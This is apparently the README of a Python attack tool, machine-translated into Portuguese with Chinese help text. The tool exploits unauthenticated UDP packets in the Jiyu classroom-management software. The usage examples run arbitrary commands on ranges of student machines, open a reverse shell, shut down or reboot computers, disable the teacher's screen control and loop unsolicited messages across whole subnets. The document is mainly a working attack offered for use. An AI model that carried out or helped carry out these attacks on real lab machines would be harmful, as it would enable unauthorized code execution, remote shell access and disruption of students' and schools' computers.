Jiyu_udp_attack

Script de ataque de repetição do pacote de dados da sala de aula eletrônica Jiyu (udp)

• Como o terminal do aluno de Jiyu não realiza (=・ω・=) autenticação no pacote UDP recebido, podemos construir um pacote de dados específico para o terminal do aluno executar, conseguindo assim a execução do comando e atacando qualquer aluno online na sala de informática. máquina.

Ambiente operacional

• Python3

Notas de versão

v1.5

• Corrigir bug de execução de comando

v1.4

• Reconstrução de código, otimização da lógica de seleção de parâmetros
• A função Rebound Shell adiciona porta aleatória
• Atualizar documentação

v1.3

• Desativar/restaurar controle de tela
• Shell de recuperação de suporte

v1.2

• consertar bug

v1.1

• A opção -g oferece suporte à obtenção da porta em que o aluno está ouvindo.

v1.0

• primeira submissão

Como usar:

 usage:

    ------------------- Github Repositories -------------------
            https://github.com/ht0Ruial/Jiyu_udp_attack

       [-h] -ip IP [-p P] [-msg MSG] [-c C] [-l L] [-t T]
       [-e {r,s,g,nc,break,continue}]
       {r,s,g,nc,break,continue} ...

positional arguments:
  {r,s,g,nc,break,continue}
                        -e 参数的详细说明
    r                   reboot 重启
    s                   shutdown 关机
    g                   独立选项，获取当前的ip地址以及学生端监听的端口
    nc                  独立选项，反弹shell的机器需出网，退出可使用命令exit
    break               独立选项，脱离屏幕控制，需要管理员权限
    continue            独立选项，恢复屏幕控制

optional arguments:
  -h, --help            show this help message and exit
  -ip IP                ip 指定目标IP地址
  -p P                  port 指定监听端口，默认端口为4705
  -msg MSG              send_message发送消息 eg: -msg "HelloWord!"
  -c C                  command命令 eg: -c "cmd.exe /c ipconfig"
  -l L                  循环次数，默认为1
  -t T                  循环时间间隔，默认是22秒
  -e {r,s,g,nc,break,continue}
                        Extra Options加载额外的选项 eg：-e r
          

Exemplos de uso

Pontas:

Ao usar o parâmetro -ip para especificar o IP de destino, você pode especificá-lo das seguintes maneiras:

• Especifique um único IP, como 192.168.80.12
• Especifique o intervalo de IP, como 192.168.80.10-56
• Especifique o segmento C onde o IP está localizado, como 192.168.80.1/24

1. Obtenha o endereço IP da intranet e a porta de escuta

Se a porta de escuta do aluno não for o padrão 4705 , será necessário usar o parâmetro -p para especificar a porta durante as operações subsequentes.

 python Jiyu_udp_attack.py -e g

2. Livre-se do controle de tela

As permissões atuais em execução precisam ser permissões de administrador, que são usadas principalmente para iniciar o serviço MpsSvc.

 python Jiyu_udp_attack.py -e break

3.Restaurar o controle da tela

 python Jiyu_udp_attack.py -e continue

4.Enviar mensagem

Se a porta de escuta do aluno for 4705 , envie uma mensagem com o conteúdo "olá, querido!" para a máquina com o endereço IP 192.168.80.12.

 python Jiyu_udp_attack.py -ip 192.168.80.12 -msg "hello,baby!"

Se a porta de escuta do aluno for 4605 , você precisará usar o parâmetro -p para especificar a porta e enviar uma mensagem com o conteúdo "olá, baby!" para a máquina com o endereço IP 192.168.80.12.

 python Jiyu_udp_attack.py -ip 192.168.80.12 -p 4605 -msg "hello,baby!"

5. Execute o comando

Jogue uma calculadora de 192.168.80.12 a 192.168.80.137

 python Jiyu_udp_attack.py -ip 192.168.80.12-137 -c calc.exe

6. Concha de recuperação

Ao rebote do shell, o IP só pode ser o IP de uma determinada máquina e não pode ser rebote em lotes. Além disso, a máquina precisa sair da rede porque a execução em lote de comandos arbitrários foi implementada. , ele não é adicionado.

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e nc

7. Desligue e reinicie

Desligar

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e s

Reiniciar

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e r

8. Laço

Envie mensagens continuamente usando um loop
A máquina 1-254 receberá uma mensagem “olá, baby!” e continuará a executar após 50 segundos, num total de 3 vezes.

    python Jiyu_udp_attack.py -ip 192.168.80.23/24 -msg "hello,baby!" -l 3 -t 50